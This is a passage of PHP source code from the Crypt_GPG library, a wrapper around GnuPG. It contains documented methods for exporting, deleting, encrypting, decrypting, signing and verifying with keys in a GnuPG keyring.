     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addPassphrase()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function exportPrivateKey($keyId, $armor = true)
    {
        return $this->_exportKey($keyId, $armor, true);
    }

    /**
     * Exports a public key from the keyring
     *
     * The exported key remains on the keyring. To delete the public key, use
     * {@link Crypt_GPG::deletePublicKey()}.
     *
     * If more than one key fingerprint is available for the specified
     * <kbd>$keyId</kbd> (for example, if you use a non-unique uid) only the
     * first public key is exported.
     *
     * @param string  $keyId either the full uid of the public key, the email
     *                       part of the uid of the public key or the key id of
     *                       the public key. For example,
     *                       "Test User (example) <test@example.com>",
     *                       "test@example.com" or a hexadecimal string.
     * @param bool    $armor optional. If true, ASCII armored data is returned;
     *                       otherwise, binary data is returned. Defaults to
     *                       true.
     *
     * @return string the public key data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if a public key with the given
     *         <kbd>$keyId</kbd> is not found.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function exportPublicKey($keyId, $armor = true)
    {
        return $this->_exportKey($keyId, $armor, false);
    }

    /**
     * Deletes a public key from the keyring
     *
     * If more than one key fingerprint is available for the specified
     * <kbd>$keyId</kbd> (for example, if you use a non-unique uid) only the
     * first public key is deleted.
     *
     * The private key must be deleted first or an exception will be thrown.
     * In GnuPG >= 2.1 this limitation does not exist.
     * See {@link Crypt_GPG::deletePrivateKey()}.
     *
     * @param string $keyId either the full uid of the public key, the email
     *                      part of the uid of the public key or the key id of
     *                      the public key. For example,
     *                      "Test User (example) <test@example.com>",
     *                      "test@example.com" or a hexadecimal string.
     *
     * @return void
     *
     * @throws Crypt_GPG_KeyNotFoundException if a public key with the given
     *         <kbd>$keyId</kbd> is not found.
     *
     * @throws Crypt_GPG_DeletePrivateKeyException if the specified public key
     *         has an associated private key on the keyring. The private key
     *         must be deleted first (when using GnuPG < 2.1).
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function deletePublicKey($keyId)
    {
        $fingerprint = $this->getFingerprint($keyId);

        if ($fingerprint === null) {
            throw new Crypt_GPG_KeyNotFoundException(
                'Public key not found: ' . $keyId,
                self::ERROR_KEY_NOT_FOUND,
                $keyId
            );
        }

        $operation = '--delete-key -- ' . escapeshellarg($fingerprint);
        $arguments = array(
            '--batch',
            '--yes'
        );

        $this->engine->reset();
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();
    }

    /**
     * Deletes a private key from the keyring
     *
     * If more than one key fingerprint is available for the specified
     * <kbd>$keyId</kbd> (for example, if you use a non-unique uid) only the
     * first private key is deleted.
     *
     * Calls GPG with the <kbd>--delete-secret-key</kbd> command.
     *
     * @param string $keyId either the full uid of the private key, the email
     *                      part of the uid of the private key or the key id of
     *                      the private key. For example,
     *                      "Test User (example) <test@example.com>",
     *                      "test@example.com" or a hexadecimal string.
     *
     * @return void
     *
     * @throws Crypt_GPG_KeyNotFoundException if a private key with the given
     *         <kbd>$keyId</kbd> is not found.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function deletePrivateKey($keyId)
    {
        $fingerprint = $this->getFingerprint($keyId);

        if ($fingerprint === null) {
            throw new Crypt_GPG_KeyNotFoundException(
                'Private key not found: ' . $keyId,
                self::ERROR_KEY_NOT_FOUND,
                $keyId
            );
        }

        $operation = '--delete-secret-key -- ' . escapeshellarg($fingerprint);
        $arguments = array(
            '--batch',
            '--yes'
        );

        $this->engine->reset();
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();
    }

    /**
     * Gets the available keys in the keyring
     *
     * Calls GPG with the <kbd>--list-keys</kbd> command and grabs keys. See
     * the first section of <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG package} for a detailed
     * description of how the GPG command output is parsed.
     *
     * @param string $keyId optional. Only keys with that match the specified
     *                      pattern are returned. The pattern may be part of
     *                      a user id, a key id or a key fingerprint. If not
     *                      specified, all keys are returned.
     *
     * @return array an array of {@link Crypt_GPG_Key} objects. If no keys
     *               match the specified <kbd>$keyId</kbd> an empty array is
     *               returned.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Key
     */
    public function getKeys($keyId = '')
    {
        return parent::_getKeys($keyId);
    }

    /**
     * Gets a key fingerprint from the keyring
     *
     * If more than one key fingerprint is available (for example, if you use
     * a non-unique user id) only the first key fingerprint is returned.
     *
     * Calls the GPG <kbd>--list-keys</kbd> command with the
     * <kbd>--with-fingerprint</kbd> option to retrieve a public key
     * fingerprint.
     *
     * @param string  $keyId  either the full user id of the key, the email
     *                        part of the user id of the key, or the key id of
     *                        the key. For example,
     *                        "Test User (example) <test@example.com>",
     *                        "test@example.com" or a hexadecimal string.
     * @param int     $format optional. How the fingerprint should be formatted.
     *                        Use {@link Crypt_GPG::FORMAT_X509} for X.509
     *                        certificate format,
     *                        {@link Crypt_GPG::FORMAT_CANONICAL} for the format
     *                        used by GnuPG output and
     *                        {@link Crypt_GPG::FORMAT_NONE} for no formatting.
     *                        Defaults to <code>Crypt_GPG::FORMAT_NONE</code>.
     *
     * @return string|null The fingerprint of the key, or null if no fingerprint
     *                     is found for the given <kbd>$keyId</kbd>.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function getFingerprint($keyId, $format = self::FORMAT_NONE)
    {
        $output    = '';
        $operation = '--list-keys -- ' . escapeshellarg($keyId);
        $arguments = array(
            '--with-colons',
            '--with-fingerprint'
        );

        $this->engine->reset();
        $this->engine->setOutput($output);
        $this->engine->setOperation($operation, $arguments);
        $this->engine->run();

        $fingerprint = null;

        foreach (explode(PHP_EOL, $output) as $line) {
            if (mb_substr($line, 0, 3, '8bit') == 'fpr') {
                $lineExp     = explode(':', $line);
                $fingerprint = $lineExp[9];

                switch ($format) {
                case self::FORMAT_CANONICAL:
                    $fingerprintExp = str_split($fingerprint, 4);
                    $format         = '%s %s %s %s %s  %s %s %s %s %s';
                    $fingerprint    = vsprintf($format, $fingerprintExp);
                    break;

                case self::FORMAT_X509:
                    $fingerprintExp = str_split($fingerprint, 2);
                    $fingerprint    = implode(':', $fingerprintExp);
                    break;
                }

                break;
            }
        }

        return $fingerprint;
    }

    /**
     * Get information about the last signature that was created.
     *
     * @return Crypt_GPG_SignatureCreationInfo
     */
    public function getLastSignatureInfo()
    {
        return $this->engine->getProcessData('SignatureInfo');
    }

    /**
     * Encrypts string data
     *
     * Data is ASCII armored by default but may optionally be returned as
     * binary.
     *
     * @param string  $data  the data to be encrypted.
     * @param bool    $armor optional. If true, ASCII armored data is returned;
     *                       otherwise, binary data is returned. Defaults to
     *                       true.
     *
     * @return string the encrypted data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified.
     *         See {@link Crypt_GPG::addEncryptKey()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @sensitive $data
     */
    public function encrypt($data, $armor = self::ARMOR_ASCII)
    {
        return $this->_encrypt($data, false, null, $armor);
    }

    /**
     * Encrypts a file
     *
     * Encrypted data is ASCII armored by default but may optionally be saved
     * as binary.
     *
     * @param string  $filename      the filename of the file to encrypt.
     * @param string  $encryptedFile optional. The filename of the file in
     *                               which to store the encrypted data. If null
     *                               or unspecified, the encrypted data is
     *                               returned as a string.
     * @param bool    $armor         optional. If true, ASCII armored data is
     *                               returned; otherwise, binary data is
     *                               returned. Defaults to true.
     *
     * @return void|string if the <kbd>$encryptedFile</kbd> parameter is null,
     *                     a string containing the encrypted data is returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified.
     *         See {@link Crypt_GPG::addEncryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function encryptFile(
        $filename,
        $encryptedFile = null,
        $armor = self::ARMOR_ASCII
    ) {
        return $this->_encrypt($filename, true, $encryptedFile, $armor);
    }

    /**
     * Encrypts and signs data
     *
     * Data is encrypted and signed in a single pass.
     *
     * NOTE: Until GnuPG version 1.4.10, it was not possible to verify
     * encrypted-signed data without decrypting it at the same time. If you try
     * to use {@link Crypt_GPG::verify()} method on encrypted-signed data with
     * earlier GnuPG versions, you will get an error. Please use
     * {@link Crypt_GPG::decryptAndVerify()} to verify encrypted-signed data.
     *
     * @param string $data  The data to be encrypted and signed.
     * @param bool   $armor Optional. If true, ASCII armored data is returned;
     *                      otherwise, binary data is returned. Defaults to
     *                      true.
     *
     * @return string The encrypted signed data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified
     *         or if no signing key is specified. See
     *         {@link Crypt_GPG::addEncryptKey()} and
     *         {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG::decryptAndVerify()
     */
    public function encryptAndSign($data, $armor = self::ARMOR_ASCII)
    {
        return $this->_encryptAndSign($data, false, null, $armor);
    }

    /**
     * Encrypts and signs a file
     *
     * The file is encrypted and signed in a single pass.
     *
     * NOTE: Until GnuPG version 1.4.10, it was not possible to verify
     * encrypted-signed files without decrypting them at the same time. If you
     * try to use {@link Crypt_GPG::verify()} method on encrypted-signed files
     * with earlier GnuPG versions, you will get an error. Please use
     * {@link Crypt_GPG::decryptAndVerifyFile()} to verify encrypted-signed
     * files.
     *
     * @param string  $filename   the name of the file containing the data to
     *                            be encrypted and signed.
     * @param string  $signedFile optional. The name of the file in which the
     *                            encrypted, signed data should be stored. If
     *                            null or unspecified, the encrypted, signed
     *                            data is returned as a string.
     * @param bool    $armor      optional. If true, ASCII armored data is
     *                            returned; otherwise, binary data is returned.
     *                            Defaults to true.
     *
     * @return void|string if the <kbd>$signedFile</kbd> parameter is null, a
     *                     string containing the encrypted, signed data is
     *                     returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no encryption key is specified
     *         or if no signing key is specified. See
     *         {@link Crypt_GPG::addEncryptKey()} and
     *         {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG::decryptAndVerifyFile()
     */
    public function encryptAndSignFile(
        $filename,
        $signedFile = null,
        $armor = self::ARMOR_ASCII
    ) {
        return $this->_encryptAndSign($filename, true, $signedFile, $armor);
    }

    /**
     * Decrypts string data
     *
     * This method assumes the required private key is available in the keyring
     * and throws an exception if the private key is not available. To add a
     * private key to the keyring, use the {@link Crypt_GPG::importKey()} or
     * {@link Crypt_GPG::importKeyFile()} methods.
     *
     * @param string $encryptedData the data to be decrypted.
     *
     * @return string the decrypted data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function decrypt($encryptedData)
    {
        return $this->_decrypt($encryptedData, false, null);
    }

    /**
     * Decrypts a file
     *
     * This method assumes the required private key is available in the keyring
     * and throws an exception if the private key is not available. To add a
     * private key to the keyring, use the {@link Crypt_GPG::importKey()} or
     * {@link Crypt_GPG::importKeyFile()} methods.
     *
     * @param string $encryptedFile the name of the encrypted file data to
     *                              decrypt.
     * @param string $decryptedFile optional. The name of the file to which the
     *                              decrypted data should be written. If null
     *                              or unspecified, the decrypted data is
     *                              returned as a string.
     *
     * @return void|string if the <kbd>$decryptedFile</kbd> parameter is null,
     *                     a string containing the decrypted data is returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function decryptFile($encryptedFile, $decryptedFile = null)
    {
        return $this->_decrypt($encryptedFile, true, $decryptedFile);
    }

    /**
     * Decrypts and verifies string data
     *
     * This method assumes the required private key is available in the keyring
     * and throws an exception if the private key is not available. To add a
     * private key to the keyring, use the {@link Crypt_GPG::importKey()} or
     * {@link Crypt_GPG::importKeyFile()} methods.
     *
     * @param string  $encryptedData      the encrypted, signed data to be decrypted
     *                                    and verified.
     * @param bool    $ignoreVerifyErrors enables ignoring of signature
     *                                    verification errors caused by missing public key
     *                                    When enabled Crypt_GPG_KeyNotFoundException
     *                                    will not be thrown.
     *
     * @return array two element array. The array has an element 'data'
     *               containing the decrypted data and an element
     *               'signatures' containing an array of
     *               {@link Crypt_GPG_Signature} objects for the signed data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data or the public key to verify the signature
     *         is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function decryptAndVerify($encryptedData, $ignoreVerifyErrors = false)
    {
        return $this->_decryptAndVerify($encryptedData, false, null, $ignoreVerifyErrors);
    }

    /**
     * Decrypts and verifies a signed, encrypted file
     *
     * This method assumes the required private key is available in the keyring
     * and throws an exception if the private key is not available. To add a
     * private key to the keyring, use the {@link Crypt_GPG::importKey()} or
     * {@link Crypt_GPG::importKeyFile()} methods.
     *
     * @param string  $encryptedFile      the name of the signed, encrypted file to
     *                                    to decrypt and verify.
     * @param string  $decryptedFile      optional. The name of the file to which the
     *                                    decrypted data should be written. If null
     *                                    or unspecified, the decrypted data is
     *                                    returned in the results array.
     * @param bool    $ignoreVerifyErrors enables ignoring of signature
     *                                    verification errors caused by missing public key
     *                                    When enabled Crypt_GPG_KeyNotFoundException
     *                                    will not be thrown.
     *
     * @return array two element array. The array has an element 'data'
     *               containing the decrypted data and an element
     *               'signatures' containing an array of
     *               {@link Crypt_GPG_Signature} objects for the signed data.
     *               If the decrypted data is written to a file, the 'data'
     *               element is null.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the private key needed to
     *         decrypt the data or the public key to verify the signature
     *         is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if specified data does not contain
     *         GPG encrypted data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addDecryptKey()}.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function decryptAndVerifyFile($encryptedFile, $decryptedFile = null, $ignoreVerifyErrors = false)
    {
        return $this->_decryptAndVerify($encryptedFile, true, $decryptedFile, $ignoreVerifyErrors);
    }

    /**
     * Signs data
     *
     * Data may be signed using any one of the three available signing modes:
     * - {@link Crypt_GPG::SIGN_MODE_NORMAL}
     * - {@link Crypt_GPG::SIGN_MODE_CLEAR}
     * - {@link Crypt_GPG::SIGN_MODE_DETACHED}
     *
     * @param string  $data     the data to be signed.
     * @param int     $mode     optional. The data signing mode to use. Should
     *                          be one of {@link Crypt_GPG::SIGN_MODE_NORMAL},
     *                          {@link Crypt_GPG::SIGN_MODE_CLEAR} or
     *                          {@link Crypt_GPG::SIGN_MODE_DETACHED}. If not
     *                          specified, defaults to
     *                          <kbd>Crypt_GPG::SIGN_MODE_NORMAL</kbd>.
     * @param bool    $armor    optional. If true, ASCII armored data is
     *                          returned; otherwise, binary data is returned.
     *                          Defaults to true. This has no effect if the
     *                          mode <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                          used.
     * @param bool    $textmode optional. If true, line-breaks in signed data
     *                          are normalized. Use this option when signing
     *                          e-mail, or for greater compatibility between
     *                          systems with different line-break formats.
     *                          Defaults to false. This has no effect if the
     *                          mode <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                          used as clear-signing always uses textmode.
     *
     * @return string the signed data, or the signature data if a detached
     *                signature is requested.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no signing key is specified.
     *         See {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function sign(
        $data,
        $mode = self::SIGN_MODE_NORMAL,
        $armor = self::ARMOR_ASCII,
        $textmode = self::TEXT_RAW
    ) {
        return $this->_sign($data, false, null, $mode, $armor, $textmode);
    }

    /**
     * Signs a file
     *
     * The file may be signed using any one of the three available signing
     * modes:
     * - {@link Crypt_GPG::SIGN_MODE_NORMAL}
     * - {@link Crypt_GPG::SIGN_MODE_CLEAR}
     * - {@link Crypt_GPG::SIGN_MODE_DETACHED}
     *
     * @param string  $filename   the name of the file containing the data to
     *                            be signed.
     * @param string  $signedFile optional. The name of the file in which the
     *                            signed data should be stored. If null or
     *                            unspecified, the signed data is returned as a
     *                            string.
     * @param int     $mode       optional. The data signing mode to use. Should
     *                            be one of {@link Crypt_GPG::SIGN_MODE_NORMAL},
     *                            {@link Crypt_GPG::SIGN_MODE_CLEAR} or
     *                            {@link Crypt_GPG::SIGN_MODE_DETACHED}. If not
     *                            specified, defaults to
     *                            <kbd>Crypt_GPG::SIGN_MODE_NORMAL</kbd>.
     * @param bool    $armor      optional. If true, ASCII armored data is
     *                            returned; otherwise, binary data is returned.
     *                            Defaults to true. This has no effect if the
     *                            mode <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                            used.
     * @param bool    $textmode   optional. If true, line-breaks in signed data
     *                            are normalized. Use this option when signing
     *                            e-mail, or for greater compatibility between
     *                            systems with different line-break formats.
     *                            Defaults to false. This has no effect if the
     *                            mode <kbd>Crypt_GPG::SIGN_MODE_CLEAR</kbd> is
     *                            used as clear-signing always uses textmode.
     *
     * @return void|string if the <kbd>$signedFile</kbd> parameter is null, a
     *                     string containing the signed data (or the signature
     *                     data if a detached signature is requested) is
     *                     returned.
     *
     * @throws Crypt_GPG_KeyNotFoundException if no signing key is specified.
     *         See {@link Crypt_GPG::addSignKey()}.
     *
     * @throws Crypt_GPG_BadPassphraseException if a specified passphrase is
     *         incorrect or if a required passphrase is not specified.
     *
     * @throws Crypt_GPG_FileException if the output file is not writeable or
     *         if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function signFile(
        $filename,
        $signedFile = null,
        $mode = self::SIGN_MODE_NORMAL,
        $armor = self::ARMOR_ASCII,
        $textmode = self::TEXT_RAW
    ) {
        return $this->_sign(
            $filename,
            true,
            $signedFile,
            $mode,
            $armor,
            $textmode
        );
    }

    /**
     * Verifies signed data
     *
     * The {@link Crypt_GPG::decrypt()} method may be used to get the original
     * message if the signed data is not clearsigned and does not use a
     * detached signature.
     *
     * @param string $signedData the signed data to be verified.
     * @param string $signature  optional. If verifying data signed using a
     *                           detached signature, this must be the detached
     *                           signature data. The data that was signed is
     *                           specified in <kbd>$signedData</kbd>.
     *
     * @return array an array of {@link Crypt_GPG_Signature} objects for the
     *               signed data. For each signature that is valid, the
     *               {@link Crypt_GPG_Signature::isValid()} will return true.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the public key needed for
     *         signature verification is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if the provided data is not signed
     *         data.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Signature
     */
    public function verify($signedData, $signature = '')
    {
        return $this->_verify($signedData, false, $signature);
    }

    /**
     * Verifies a signed file
     *
     * The {@link Crypt_GPG::decryptFile()} method may be used to get the
     * original message if the signed data is not clearsigned and does not use
     * a detached signature.
     *
     * @param string $filename  the signed file to be verified.
     * @param string $signature optional. If verifying a file signed using a
     *                          detached signature, this must be the detached
     *                          signature data. The file that was signed is
     *                          specified in <kbd>$filename</kbd>.
     *
     * @return array an array of {@link Crypt_GPG_Signature} objects for the
     *               signed data. For each signature that is valid, the
     *               {@link Crypt_GPG_Signature::isValid()} will return true.
     *
     * @throws Crypt_GPG_KeyNotFoundException if the public key needed for
     *         signature verification is not in the user's keyring.
     *
     * @throws Crypt_GPG_NoDataException if the provided data is not signed
     *         data.
     *
     * @throws Crypt_GPG_FileException if the input file is not readable.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG_Signature
     */
    public function verifyFile($filename, $signature = '')
    {
        return $this->_verify($filename, true, $signature);
    }

    /**
     * Adds a key to use for decryption
     *
     * @param mixed  $key        the key to use. This may be a key identifier,
     *                           user id, fingerprint, {@link Crypt_GPG_Key} or
     *                           {@link Crypt_GPG_SubKey}. The key must be able
     *                           to encrypt.
     * @param string $passphrase optional. The passphrase of the key required
     *                           for decryption.
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::decrypt()
     * @see Crypt_GPG::decryptFile()
     * @see Crypt_GPG::clearDecryptKeys()
     * @see Crypt_GPG::_addKey()
     *
     * @sensitive $passphrase
     */
    public function addDecryptKey($key, $passphrase = null)
    {
        $this->_addKey($this->decryptKeys, false, false, $key, $passphrase);
        return $this;
    }

    /**
     * Adds a key to use for encryption
     *
     * @param mixed $key the key to use. This may be a key identifier, user id
     *                   user id, fingerprint, {@link Crypt_GPG_Key} or
     *                   {@link Crypt_GPG_SubKey}. The key must be able to
     *                   encrypt.
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::encrypt()
     * @see Crypt_GPG::encryptFile()
     * @see Crypt_GPG::clearEncryptKeys()
     * @see Crypt_GPG::_addKey()
     */
    public function addEncryptKey($key)
    {
        $this->_addKey($this->encryptKeys, true, false, $key);
        return $this;
    }

    /**
     * Adds a key to use for signing
     *
     * @param mixed  $key        the key to use. This may be a key identifier,
     *                           user id, fingerprint, {@link Crypt_GPG_Key} or
     *                           {@link Crypt_GPG_SubKey}. The key must be able
     *                           to sign.
     * @param string $passphrase optional. The passphrase of the key required
     *                           for signing.
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::sign()
     * @see Crypt_GPG::signFile()
     * @see Crypt_GPG::clearSignKeys()
     * @see Crypt_GPG::_addKey()
     *
     * @sensitive $passphrase
     */
    public function addSignKey($key, $passphrase = null)
    {
        $this->_addKey($this->signKeys, false, true, $key, $passphrase);
        return $this;
    }

    /**
     * Register a private key passphrase for import/export (GnuPG 2.1)
     *
     * @param mixed  $key        The key to use. This must be a key identifier,
     *                           or fingerprint.
     * @param string $passphrase The passphrase of the key.
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::clearPassphrases()
     * @see Crypt_GPG::importKey()
     * @see Crypt_GPG::exportKey()
     *
     * @sensitive $passphrase
     */
    public function addPassphrase($key, $passphrase)
    {
        $this->passphrases[$key] = $passphrase;
        return $this;
    }

    /**
     * Clears all decryption keys
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::decrypt()
     * @see Crypt_GPG::addDecryptKey()
     */
    public function clearDecryptKeys()
    {
        $this->decryptKeys = array();
        return $this;
    }

    /**
     * Clears all encryption keys
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::encrypt()
     * @see Crypt_GPG::addEncryptKey()
     */
    public function clearEncryptKeys()
    {
        $this->encryptKeys = array();
        return $this;
    }

    /**
     * Clears all signing keys
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::sign()
     * @see Crypt_GPG::addSignKey()
     */
    public function clearSignKeys()
    {
        $this->signKeys = array();
        return $this;
    }

    /**
     * Clears all private key passphrases
     *
     * @return Crypt_GPG the current object, for fluent interface.
     *
     * @see Crypt_GPG::importKey()
     * @see Crypt_GPG::exportKey()
     * @see Crypt_GPG::addPassphrase()
     */
    public function clearPassphrases()
    {
        $this->passphrases = array();
        return $this;
    }

    /**
     * Tell if there are encryption keys registered
     *
     * @return bool True if the data shall be encrypted
     */
    public function hasEncryptKeys()
    {
        return count($this->encryptKeys) > 0;
    }

    /**
     * Tell if there are signing keys registered
     *
     * @return bool True if the data shall be signed
     */
    public function hasSignKeys()
    {
        return count($this->signKeys) > 0;
    }

    /**
     * Get list of GnuPG warnings collected on last operation.
     *
     * @return array List of warning messages
     */
    public function getWarnings()
    {
        return $this->engine->getProcessData('Warnings');
    }

    /**
     * Adds a key to one of the internal key arrays
     *
     * This handles resolving full key objects from the provided
     * <kbd>$key</kbd> value.
     *
     * @param array   &$array     The array to which the key should be added
     * @param bool    $encrypt    Whether or not the key must be able to
     *                            encrypt
     * @param bool    $sign       Whether or not the key must be able to sign
     * @param mixed   $key        The key to add. This may be a key identifier,
     *                            user id, fingerprint, {@link Crypt_GPG_Key} or
     *                            {@link Crypt_GPG_SubKey}
     * @param string  $passphrase Optional passphrase associated with the key
     *
     * @return void
     *
     * @sensitive $passphrase
     */
    protected function _addKey(array &$array, $encrypt, $sign, $key,
        $passphrase = null
    ) {
        $subKeys = array();

        if (is_scalar($key)) {
            $keys = $this->getKeys($key);
            if (count($keys) == 0) {
                throw new Crypt_GPG_KeyNotFoundException(
                    'Key not found: ' . $key,
                    self::ERROR_KEY_NOT_FOUND,
                    $key
                );
            }
            $key = $keys[0];
        }

        if ($key instanceof Crypt_GPG_Key) {
            if ($encrypt && !$key->canEncrypt()) {
                throw new InvalidArgumentException(
                    'Key "' . $key . '" cannot encrypt.'
                );
            }

            if ($sign && !$key->canSign()) {
                throw new InvalidArgumentException(
                    'Key "' . $key . '" cannot sign.'
                );
            }

            foreach ($key->getSubKeys() as $subKey) {
                $canEncrypt = $subKey->canEncrypt();
                $canSign    = $subKey->canSign();
                if (($encrypt && $sign && $canEncrypt && $canSign)
                    || ($encrypt && !$sign && $canEncrypt)
                    || (!$encrypt && $sign && $canSign)
                    || (!$encrypt && !$sign)
                ) {
                    // We add all subkeys that meet the requirements because we
                    // were not told which subkey is required.
                    $subKeys[] = $subKey;
                }
            }
        } elseif ($key instanceof Crypt_GPG_SubKey) {
            $subKeys[] = $key;
        }

        if (count($subKeys) === 0) {
            throw new InvalidArgumentException(
                'Key "' . $key . '" is not in a recognized format.'
            );
        }

        foreach ($subKeys as $subKey) {
            if ($encrypt && !$subKey->canEncrypt()) {
                throw new InvalidArgumentException(
                    'Key "' . $key . '" cannot encrypt.'
                );
            }

            if ($sign && !$subKey->canSign()) {
                throw new InvalidArgumentException(
                    'Key "' . $key . '" cannot sign.'
                );
            }

            $array[$subKey->getId()] = array(
                'fingerprint' => $subKey->getFingerprint(),
                'passphrase'  => $passphrase
            );
        }
    }

    /**
     * Imports a public or private key into the keyring
     *
     * @param string $key    The key to be imported.
     * @param bool   $isFile Whether or not the input is a filename.
     *
     * @return array an associative array containing the following elements:
     *               - <kbd>fingerprint</kbd>       - the fingerprint of the
     *                                                imported key,
     *               - <kbd>public_imported</kbd>   - the number of public
     *                                                keys imported,
     *               - <kbd>public_unchanged</kbd>  - the number of unchanged
     *                                                public keys,
     *               - <kbd>private_imported</kbd>  - the number of private
     *                                                keys imported,
     *               - <kbd>private_unchanged</kbd> - the number of unchanged
     *                                                private keys.
     *
     * @throws Crypt_GPG_NoDataException if the key data is missing or if the
     *         data is is not valid key data.
     *
